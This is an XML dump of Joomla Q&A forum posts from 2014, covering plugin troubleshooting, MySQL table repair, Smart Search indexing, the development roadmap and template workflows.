  <row Id="516" PostTypeId="2" ParentId="492" CreationDate="2014-05-01T00:39:58.600" Score="2" Body="&lt;p&gt;I think you have accidentally unpublished the Joomla User plugin. Using phpMyAdmin, or whatever tool your host provides for you to access your database, look in the xxxxx_extensions table for plg_user_joomla. The &quot;enabled&quot; field should have a value of 1. If it's 0 or something else change it to 1 and try logging in again.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-05-01T00:39:58.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="517" PostTypeId="2" ParentId="498" CreationDate="2014-05-01T00:51:02.023" Score="5" Body="&lt;p&gt;This is an extension of FFrewin's answer. Akeeba also produce a free tool called SiteDiff. It allows you to compare 2 sites that have been backed up with Akeebabackup (there is a free version of that too). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this to work, you would have to have 2 backups. One backup would be of your site (let's say it was version 2.5.19). &#xA;For the other backup, you would need to install a fresh copy of Joomla 2.5.19 and then make a backup of that installation. Next compare the two backups using the SiteDiff tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A problem with this method is that you will have more files in your site backup than your fresh installation. The extra files will appear as differences,possibly making it difficult to discern core changes from the rest of the 'noise'.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-01T00:51:02.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="518" PostTypeId="1" AcceptedAnswerId="519" CreationDate="2014-05-01T01:57:31.643" Score="11" ViewCount="522" Body="&lt;p&gt;I recognize that most (all?) of the code is written by volunteers so it is hard for anyone to say that 'this' is the order that things need to be done and 'this' is what we have to do next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being accepted, I assume that there is a road map that the core contributors have discussed and is generally accepted as the plan for Joomla development and goals. Is there a place to read through this? Can suggestions be made? If I contribute code not in the plan is it likely to get accepted?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="159" LastEditDate="2014-05-01T18:39:38.080" LastActivityDate="2014-05-01T19:57:43.890" Title="Is there a roadmap for Joomla development?" Tags="|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="519" PostTypeId="2" ParentId="518" CreationDate="2014-05-01T04:28:06.367" Score="9" Body="&lt;p&gt;The developers have a roadmap at this link : &lt;a href=&quot;http://developer.joomla.org/cms/roadmap.html&quot;&gt;http://developer.joomla.org/cms/roadmap.html&lt;/a&gt; which essentially states that the main focus right now is to unify and streamline the development process for the good of the project.  That is, they will wrap the Framework back into the CMS development so that it can have the same Bug Squad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The roadmap further addresses UX/UI issues and legacy handling.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The future of the project at this time is to become more ubiquitous among developers, by making the library and framework more accessible.  Distribution will become widespread and reach untapped markets, if all goes well with their plans.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-05-01T04:28:06.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="520" PostTypeId="5" CreationDate="2014-05-01T08:14:29.480" Score="0" Body="&lt;h2&gt;Development&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla &lt;a href=&quot;/questions/tagged/development&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;development&amp;#39;&quot; rel=&quot;tag&quot;&gt;development&lt;/a&gt;is for question about the creation/modification of features or extensions to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically this will relate to questions about the &lt;a href=&quot;/questions/tagged/php&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;php&amp;#39;&quot; rel=&quot;tag&quot;&gt;php&lt;/a&gt; classes in the &lt;a href=&quot;/questions/tagged/cms&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cms&amp;#39;&quot; rel=&quot;tag&quot;&gt;cms&lt;/a&gt; or &lt;a href=&quot;/questions/tagged/framework&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;framework&amp;#39;&quot; rel=&quot;tag&quot;&gt;framework&lt;/a&gt;, or about the core &lt;a href=&quot;/questions/tagged/javascript&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;javascript&amp;#39;&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/jquery&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;jquery&amp;#39;&quot; rel=&quot;tag&quot;&gt;jquery&lt;/a&gt; used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Developers&quot; rel=&quot;nofollow&quot;&gt;Joomla Developer Documentation&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="126" LastEditDate="2015-08-21T15:25:36.367" LastActivityDate="2015-08-21T15:25:36.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="521" PostTypeId="4" CreationDate="2014-05-01T08:14:29.480" Score="0" Body="This tag is for question about the development of features or extensions in Joomla." OwnerUserId="107" LastEditorUserId="126" LastEditDate="2015-08-21T14:43:43.780" LastActivityDate="2015-08-21T14:43:43.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="522" PostTypeId="2" ParentId="512" CreationDate="2014-05-01T08:20:56.160" Score="7" Body="&lt;p&gt;Matt Thomas recently described his method, which I also favour, for creating sticky articles in Joomla 3.x:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://betweenbrain.com/notes/71-sticky-articles-in-joomla-3&quot;&gt;http://betweenbrain.com/notes/71-sticky-articles-in-joomla-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence all you need to do is order articles by created date and set the creation date on your ‘sticky’ article to something far in the future.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-01T08:20:56.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="523" PostTypeId="2" ParentId="503" CreationDate="2014-05-01T08:25:51.167" Score="5" Body="&lt;p&gt;I would always favour any free software (not just Joomla templates) that is available, and easily scrutinised, on Github.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Hils rightly points out, never ever download a template from any other provider than the creator, it's almost guaranteed that you'll get a dose of digital pox that way.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-01T08:25:51.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="524" PostTypeId="2" ParentId="300" CreationDate="2014-05-01T08:31:22.770" Score="1" Body="&lt;p&gt;Remove all your old backups then have future backups transferred offsite. Akeeba backup can be used to automatically backup to Dropbox or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Review the content of your images and media directories to check that you, or your client, have not added very large assets. As already pointed out, Joomla's default install is pretty light but that doesn't mean someone hasn't uploaded some 10Mb images or a 200Mb pdf.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-01T08:31:22.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="526" PostTypeId="2" ParentId="496" CreationDate="2014-05-01T10:13:33.040" Score="1" Body="&lt;p&gt;You can't really do this with native Joomla, but you can use a extension that try to help you doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find them at &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-01T10:13:33.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="527" PostTypeId="2" ParentId="496" CreationDate="2014-05-01T12:34:48.730" Score="4" Body="&lt;p&gt;I haven't try it, but Artio JoomSef claims to provide such functionality.&lt;br /&gt;&#xA;You can specify sections of your website to be used for different subdomains.&#xA;It might be worthy to check it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.artio.net/joomsef/documentation#d4e1394&quot; rel=&quot;nofollow noreferrer&quot;&gt;Artio JoomSEF documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jseX7.jpg&quot; alt=&quot;JoomSEF - Subdomains configuration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for more complex configurations, Joomla MultiSites extensions allows you to run many joomla sites, from one installation, with various configurations. A link to this JED section is provided in another answer here.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-01T12:34:48.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="528" PostTypeId="2" ParentId="512" CreationDate="2014-05-01T14:09:52.717" Score="1" Body="&lt;p&gt;I'm not exactly sure about this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the order in the article manager. There you can set the order to a negative value (e.g. -10). This way the article will stay on top. I think it somehow depends on the setting in your menu (advanced setting of the way the articles must be sorted).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-01T14:09:52.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="529" PostTypeId="2" ParentId="474" CreationDate="2014-05-01T14:24:43.173" Score="1" Body="&lt;p&gt;JInput doesn't offer such feature; so you might have to use $_POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you can have the input be in the form of array (and use JInput::getArray() ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a json-encoded object (you use json_decode(JInput::getString()))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.joomla.org/manual/chap-Joomla_Platform_Manual-Input.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.joomla.org/manual/chap-Joomla_Platform_Manual-Input.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-01T14:24:43.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="530" PostTypeId="2" ParentId="493" CreationDate="2014-05-01T14:56:23.607" Score="0" Body="&lt;p&gt;Your probably hitting the Joomla content filters in the configuration. Try disabling text filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Entering_raw_HTML_in_editors&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Entering_raw_HTML_in_editors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="301" LastActivityDate="2014-05-01T14:56:23.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="532" PostTypeId="2" ParentId="518" CreationDate="2014-05-01T18:34:45.153" Score="5" Body="&lt;p&gt;As of &lt;strong&gt;&lt;em&gt;25 April 2014&lt;/em&gt;&lt;/strong&gt; the PLT has published a new sort of a &quot;roadmap&quot; or a Development Strategy for Joomla! basically announcing a new release cycle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.joomla.org/news/586-joomla-development-strategy.html&quot; rel=&quot;nofollow&quot;&gt;Joomla! Development Strategy&lt;/a&gt; - here is the whole development strategy explained, rather long and boring. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.joomla.org/news/584-joomla-improved-release-cycle-for-the-people-by-the-people.html&quot; rel=&quot;nofollow&quot;&gt;Joomla! Improved Release Cycle: For the People by the People&lt;/a&gt; - very short (and rather vague) version of the Development Strategy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.joomla.org/news/587-faq-s-for-joomla-s-improved-release-cycle.html&quot; rel=&quot;nofollow&quot;&gt;FAQ's for Joomla's Improved Release Cycle&lt;/a&gt; - should answer most of the questions you might have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.joomla.org/news/583-announcing-joomla-cms-3-4.html&quot; rel=&quot;nofollow&quot;&gt;Announcing Joomla! CMS 3.4&lt;/a&gt; - announcement of the 3.4 release of the Joomla! CMS, which is planned to be released on July 15, 2014.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-01T19:57:43.890" LastActivityDate="2014-05-01T19:57:43.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="533" PostTypeId="2" ParentId="518" CreationDate="2014-05-01T19:46:04.410" Score="0" Body="&lt;p&gt;Look here please: &lt;a href=&quot;http://developer.joomla.org/cms/roadmap.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.joomla.org/cms/roadmap.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reconcile Joomla! Platform code.&lt;/li&gt;&#xA;&lt;li&gt;Roll back MVC Legacy Classes&lt;/li&gt;&#xA;&lt;li&gt;Embrace Rapid Application Development&lt;/li&gt;&#xA;&lt;li&gt;Merge legacy library and Joomla! library folders&lt;/li&gt;&#xA;&lt;li&gt;Increase Joomla! library unit test coverage&lt;/li&gt;&#xA;&lt;li&gt;Create distributions for CMS packages&lt;/li&gt;&#xA;&lt;li&gt;Unified Content Model&lt;/li&gt;&#xA;&lt;li&gt;Unified Page Model&lt;/li&gt;&#xA;&lt;li&gt;Unified Site Administration&lt;/li&gt;&#xA;&lt;li&gt;New Feature Implementation&lt;/li&gt;&#xA;&lt;li&gt;UX and Accessibility&lt;/li&gt;&#xA;&lt;li&gt;Internationalisation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-01T19:46:04.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="535" PostTypeId="2" ParentId="268" CreationDate="2014-05-01T20:58:54.127" Score="3" Body="&lt;p&gt;BelatedPNG is a method of fixing transparent PNG backgrounds for IE6.  Gantry and Rockettheme haven't supported IE6 in many months if not years.  This sounds like an older version of Gantry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd update your Gantry version as well as your Gantry template files and Rockettheme extensions.  Something is a holdover here.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-05-01T20:58:54.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="536" PostTypeId="1" CreationDate="2014-05-02T01:50:07.783" Score="2" ViewCount="2350" Body="&lt;p&gt;I have a client who wants to do a POS in a 'bricks and mortar' setting and eventually a full-blown online store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to have an ecommerce extension that also includes a POS capability (especially to handle cash transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any Joomla! extensions that have both ecommerce and POS capabilities tied-in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm not looking for a solution that requires a RESTful style integration between two extensions - rather a single extension with both capabilities).&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2017-08-28T22:56:28.227" Title="Joomla! eCommerce Extensions with 'cash register' point of sale?" Tags="|e-commerce|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="537" PostTypeId="2" ParentId="536" CreationDate="2014-05-02T03:37:40.910" Score="0" Body="&lt;p&gt;If by &quot;includes a POS capability&quot; you mean does things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;trigger the cash drawer to open&lt;/li&gt;&#xA;&lt;li&gt;prints to receipt printer&lt;/li&gt;&#xA;&lt;li&gt;interacts with the POS credit card machine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then I doubt you will find one, all of those things would require the extension to break out of the browsers sandbox and interact with the end-users computer.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-05-02T03:37:40.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="538" PostTypeId="1" CreationDate="2014-05-02T08:05:45.050" Score="10" ViewCount="907" Body="&lt;p&gt;Where I can find any tutorial or instructions to build a plugin which handles &quot;onPrepareFinderContent&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added some extra fields to com_content articles and I would like them to be indexed by the Finder engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to add a new element to the &lt;code&gt;FinderIndexerResult&lt;/code&gt; object that is going to be indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this line of code in plugins/finder/content/content.php at line 311:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get content extras.&#xA;FinderIndexerHelper::getContentExtras($item);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The FinderIndexerHelper::getContentExtras function accepts the FinderIndexerResult object which is going to be indexed and then trigger an &quot;onPrepareFinderContent&quot; event, which (I suppose) allows 3dparty plugin to add or modify the content that is going to be indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of you has any experience on this or can point me to some good tutorial/documentation?&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="159" LastEditDate="2014-05-02T08:12:54.603" LastActivityDate="2014-05-03T13:03:12.853" Title="How to add com_content extra fields to Smart Search Index" Tags="|joomla-3.x|smartsearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="539" PostTypeId="1" AcceptedAnswerId="548" CreationDate="2014-05-02T08:53:20.910" Score="2" ViewCount="350" Body="&lt;p&gt;I want smart search to go directly to page when the query have ONE result.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list of contacts, all assigned a number of area codes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far is:&lt;br&gt;&#xA;- Enabled smart search&lt;br&gt;&#xA;- added smart search module&lt;br&gt;&#xA;- added area codes as tags in each contact&lt;br&gt;&#xA;- Indexed content&lt;br&gt;&#xA;- made a search filter only searching tags &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the user to be able to search for the nearest contact by inserting their area code in the search box. When doing this I want the contact information to come right up on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when searching the tag appears as a link, when clicking, then the contact name as a link, when clicking, then the contact information.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to skip the two first steps.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a suggestion on how to do that, or know of any extension to solve this?  &lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2014-05-07T08:04:44.090" LastActivityDate="2014-05-07T08:04:44.090" Title="Display of contact information when searching by tags using smart search" Tags="|joomla-3.x|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="540" PostTypeId="2" ParentId="536" CreationDate="2014-05-02T09:12:19.280" Score="3" Body="&lt;p&gt;This is one of those occasions when, as a web professional, it's probably better to concede that Joomla is simply not the right tool for the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that there are already e-commerce solutions that will allow this, with zero effort, out-of-the-box then it is almost certainly in the best interest of your client to recommend such a solution instead. Personally, I'd be recommending:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.shopify.com/pos/&quot; rel=&quot;nofollow&quot;&gt;http://www.shopify.com/pos/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-02T09:12:19.280" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="541" PostTypeId="1" AcceptedAnswerId="542" CreationDate="2014-05-02T11:07:24.397" Score="4" ViewCount="1062" Body="&lt;p&gt;My Joomla 1.5.16 website has started to display the error below. I don't think this is a hack, and I can't find any evidence in the logs of someone trying to get in or any changes to files that shouldn't be there. Any advice appreciated.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Table './patht/jos_users' is marked as crashed and last (automatic?) repair failed&#xA;&#xA;SQL=SELECT offers.*, categories.name AS catName, types.name AS typeName, levels.name AS&#xA; levelName, experiences.name AS experienceName, users.name AS contactName FROM &#xA;jos_neorecruit_offers AS offers LEFT JOIN jos_neorecruit_categories AS categories ON &#xA;offers.category = categories.id LEFT JOIN jos_neorecruit_types AS types ON offers.type = &#xA;types.id LEFT JOIN jos_neorecruit_levels AS levels ON offers.level = levels.id LEFT JOIN &#xA;jos_neorecruit_experiences AS experiences ON offers.experience = experiences.id LEFT JOIN &#xA;jos_users AS users ON offers.contact = users.id WHERE ( ( offers.access != '' AND &#xA;offers.access &amp;lt;= 0 ) OR ( offers.access = '' AND 1 &amp;lt;= 0 ) ) AND offers.published = 1 AND &#xA;categories.published = 1 AND ( offers.publish_up = '0000-00-00 00:00:00' OR offers.publish_up &#xA;&amp;lt;= '2014-05-02 08:37' ) AND ( offers.publish_down = '0000-00-00 00:00:00' OR &#xA;offers.publish_down &amp;gt;= '2014-05-02 08:37' ) ORDER BY offers.created_datetime DESC LIMIT 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="230" LastEditorUserId="12352" LastEditDate="2019-02-02T00:24:34.820" LastActivityDate="2019-02-02T00:24:34.820" Title="Table marked as crashed and repair failed" Tags="|mysql|database|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="542" PostTypeId="2" ParentId="541" CreationDate="2014-05-02T11:28:46.287" Score="7" Body="&lt;p&gt;You might need to use MySQL to manually repair the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can run arbitrary MySQL on your server, run the &lt;code&gt;mysql&lt;/code&gt; CLI and use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REPAIR TABLE jos_users;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, phpMyAdmin (supplied by many hosts to manage MySQL databases) allows you to repair tables through a GUI. To do so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Access phpMyAdmin and select the Joomla database from the left-hand panel&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;code&gt;jos_users&lt;/code&gt; table (or whatever table needs repaired)&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Operations&lt;/strong&gt; from the horizontal top menu&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Repair table&lt;/strong&gt; from the links under &lt;strong&gt;Table maintenance&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-05-02T11:28:46.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="543" PostTypeId="1" AcceptedAnswerId="545" CreationDate="2014-05-02T11:51:10.570" Score="5" ViewCount="385" Body="&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JModuleHelper.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JModuleHelper&lt;/code&gt; has 2 methods&lt;/a&gt; available with which you can load modules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModuleHelper::getModule();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which takes either a module name / title (e.g. 'Main Menu') or a module 'type' (e.g. mod_menu), and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModuleHelper::getModules()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which takes a module position (e.g. 'top').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to load a module by both real name AND position, as opposed to using &lt;code&gt;getModules()&lt;/code&gt; then running a loop over the result array, checking each title?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="1629" LastEditDate="2014-07-31T15:06:48.310" LastActivityDate="2014-07-31T15:06:48.310" Title="Is there a method to get a module by name and position?" Tags="|development|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="544" PostTypeId="2" ParentId="492" CreationDate="2014-05-02T12:10:34.957" Score="1" Body="&lt;p&gt;After trying all the options I found across the various forums and blogs I ended up setting up a fresh install of joomla 2.5 and basically reinstalling all my extensions and then copying what I could from the old database (eg articles, menus, module settings etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the site back up and running to a reasonable state using this method took a couple of hours but that was less time than I spent googling and tring random solutions which didn't work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all your suggestions.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2014-05-02T12:10:34.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="545" PostTypeId="2" ParentId="543" CreationDate="2014-05-02T12:35:02.340" Score="2" Body="&lt;p&gt;Not to my knowledge. I would do exactly as you suggested.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-02T12:35:02.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="546" PostTypeId="2" ParentId="538" CreationDate="2014-05-02T13:15:39.717" Score="3" Body="&lt;p&gt;Working for a SobiPro-Smart Search plugin, we've added extra fields in &lt;strong&gt;getItems&lt;/strong&gt;, processing items to be indexed as FinderIndexerResult, and later, in &lt;strong&gt;index&lt;/strong&gt; for each item, adding &lt;strong&gt;Instructions&lt;/strong&gt; of each extra field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function index(FinderIndexerResult $item, $format = 'html')&#xA;{&#xA;...&#xA;&#xA;            $fields = $this-&amp;gt;_fields[$item-&amp;gt;section];&#xA;&#xA;            foreach ($fields as $f)&#xA;            {&#xA;                $nid = $f-&amp;gt;get('nid');&#xA;&#xA;                if (isset($item-&amp;gt;$nid))&#xA;                {&#xA;                    $item-&amp;gt;addInstruction(FinderIndexer::TEXT_CONTEXT, $nid);&#xA;                }&#xA;            }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-02T13:15:39.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="547" PostTypeId="1" AcceptedAnswerId="554" CreationDate="2014-05-02T13:17:27.767" Score="16" ViewCount="496" Body="&lt;p&gt;Usually I only adjust existing free templates and change colors and fonts. The question is, when I already have my Joomla page online, what is the easiest way to make changes to the template css?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm using the &lt;a href=&quot;https://developers.google.com/chrome-developer-tools/&quot;&gt;Chrome Development Tools&lt;/a&gt; to find and adjust specific styles for a preview. If I like it, I adjust the css file of the template directly in the online editor in the administration area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first started and I didn't had any content, I used a local webserver with Joomla which had the advantage, that I could use a proper IDE for writing css and php code. Since I already have some content now, I would like to see how the changes I make look with the content I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is a basic question, but is there a preferred workflow when someone wants to adjust the design of an existing site?&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="159" LastEditDate="2014-05-02T14:13:06.083" LastActivityDate="2014-05-07T23:29:40.753" Title="Workflow for developing / adjusting templates" Tags="|templates|fonts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="548" PostTypeId="2" ParentId="539" CreationDate="2014-05-02T13:22:37.610" Score="2" Body="&lt;p&gt;The SmartSearch component doesn't support showing a page directly. But I think it should be easy to do in a layout override for the results page. The overrides can be created in the template manager (see Help Page: &lt;a href=&quot;http://docs.joomla.org/J3.3%3aHow_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.3:How_to_use_the_Template_Manager#Creating_Overrides&lt;/a&gt;)&#xA;You need to create the override for &lt;code&gt;com_finder&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then check in this override if the results array &lt;code&gt;$this-&amp;gt;results&lt;/code&gt; contains only one element and redirect to the URL instead of showing the results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second step could be changed using a custom smart search plugin. You can copy the existing one, rename it and adjust it so it indexes the desired URL. For more information about how to create a finder plugin, see this doc page: &lt;a href=&quot;http://docs.joomla.org/Creating_a_Smart_Search_plug-in&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Creating_a_Smart_Search_plug-in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-05-02T14:25:20.097" LastActivityDate="2014-05-02T14:25:20.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
